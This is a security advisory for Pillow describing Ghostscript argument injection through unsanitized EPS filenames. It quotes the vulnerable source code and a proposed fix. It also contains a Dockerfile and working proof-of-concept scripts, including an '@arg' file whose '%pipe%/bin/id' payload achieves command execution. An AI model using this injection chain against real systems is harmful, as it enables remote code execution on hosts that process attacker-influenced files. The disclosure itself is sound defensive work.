PyPI · Pillow
Pillow: Argument Injection in Ghostscript call, potentially leading into RCE
PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
f"-g{width:d}x{height:d}",
f"-r{res_x:f}x{res_y:f}",
"-dBATCH",
"-dNOPAUSE",
"-dSAFER", # default sandbox — does NOT stop this injection
f"-sDEVICE={device}",
f"-sOutputFile={outfile}",
"-c",
f"{-bbox[0]} {-bbox[1]} translate",
"-f",
infile, # injected here: inserted into argv with no check for
# option prefixes (-, --) or Ghostscript's @-file token
# => argument injection (CWE-88)
"-c",
"showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript
When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f
src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name, and the command list entry "-f", infile.Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@):
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = os.path.abspath(fp.name) # was: infile = fp.name
os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.
dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.
FROM ubuntu:24.04
RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .
CMD ["python3", "poc.py"]
poc.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
name = "-h"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
im.load()
except Exception as e:
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't display `help`")
poc-rce.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
im.load()
except Exception as e:
print(f"*********************************************")
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection ; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't call `id`")
arg
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
Confirmed — Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.
Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of id).
Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)
This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.